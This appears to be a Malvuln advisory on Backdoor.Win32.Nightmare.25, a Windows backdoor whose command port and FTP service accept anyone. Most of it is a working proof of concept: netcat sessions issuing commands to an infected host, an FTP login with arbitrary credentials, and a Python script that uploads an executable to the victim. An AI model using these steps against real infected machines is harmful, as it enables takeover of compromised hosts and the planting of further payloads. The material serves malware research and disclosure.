Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/0fe8f37543e8face08941899add38e35.txt
Contact: [email protected]
Media: x.com/malvuln  
Threat: Backdoor.Win32.Nightmare.25
Vulnerability: Unauthenticated Remote Command Execution
Family: Nightmare
Type: PE32
MD5: 0fe8f37543e8face08941899add38e35
SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6
Vuln ID: MVID-2024-0687
Disclosure: 08/09/2024
Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. "FTPON x". Furthermore, the FTP server allows for any username/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity.
Commands available:
RUN (run programs)
FTPON x  (starts FTP)
SHOWCHAT x
LOGOFF x  (logs out current user)
KILLAPP
LISTAPP
KILL x (shuts down the backdoor)
Exploit/PoC:
nc64.exe 192.168.18.125 666
RUN MSPAINT.EXE
Program executed
FTPON x
FTP Port open
FTPOFF x
FTP Port close
SHOWCHAT x
Chat is visible  (will launch a chat terminal on the slave)
HIDECHAT x
Chat is invisible
LISTAPP x
*File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe - PID: 4284
*Process Hacker [DESKTOP-2C4IQJO\VICTIM]+ (Administrator)
*dump
*Administrator: Administrator Command Prompt
*Program Manager 
KILL x 
Server not anymore active
LOGOFF x
nc64.exe 192.168.18.125 21
220 P23h FTP Server ready.
USER x
331 Password required for x.
PASS x
230 User x logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
MKD TEMP
257 'C:\TEMP': directory created.
PASV
227 Entering Passive Mode (192,168,18,125,226,100).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=57956  #Calculated port for file transfers 226 * 256 + 100 = 57956
DOOM="DOOM_SM.exe"
def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)
    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()
    print("By Malvuln");
if __name__=="__main__":
    doit()
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